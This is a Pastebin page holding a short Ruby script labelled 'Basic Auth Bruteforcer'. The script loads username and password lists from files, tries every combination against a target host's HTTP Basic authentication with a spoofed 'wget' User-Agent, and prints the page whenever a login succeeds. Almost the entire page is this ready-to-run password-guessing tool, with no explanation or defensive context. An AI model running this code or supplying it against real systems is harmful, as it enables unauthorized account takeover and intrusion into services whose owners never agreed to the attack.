Advertisement
Guest User

Untitled

a guest
Jan 2nd, 2017
93
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.05 KB | None | 0 0
  1. #!/bin/ruby
  2. require 'net/http'
  3. require 'timeout'
  4.  
  5. print ("
  6.  
  7. Basic Auth Bruteforcer
  8. ----------------------------
  9. Usage: #{File.basename($0)} url uri
  10.  
  11.  
  12. ")
  13. if ARGV.length < 2
  14. $stderr.puts("Usage: #{File.basename($0)} ")
  15. exit
  16. end
  17.  
  18. url = "#{ARGV[0]}"
  19. p url
  20. uri = "#{ARGV[1]}"
  21. p uri
  22. username = IO.readlines("user.txt")
  23. password = IO.readlines("password.txt")
  24. resp = href = "";
  25. begin
  26. http = Net::HTTP.new(url, 80)
  27. #http.use_ssl = true
  28. username.each do |user|
  29. password.each do |pass|
  30. p "trying #{user.chomp} with password #{pass.chomp}"
  31. Timeout::timeout(3) do
  32. http.start do |http|
  33. req = Net::HTTP::Get.new(uri, {"User-Agent" => "wget"})
  34. req.basic_auth(user.chomp, pass.chomp)
  35. response = http.request(req)
  36. case response
  37. when Net::HTTPOK
  38. p resp = response.body
  39. when Net::HTTPUnauthorized
  40. p 'Unauthorized'
  41. else
  42. p 'error'
  43. end
  44. end
  45. end
  46. end
  47. end
  48. rescue
  49. $stderr.print "Connection Failed: " + $! + "\n"
  50. rescue Timeout::Error
  51. p "Problem Connecting"
  52.  
  53. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement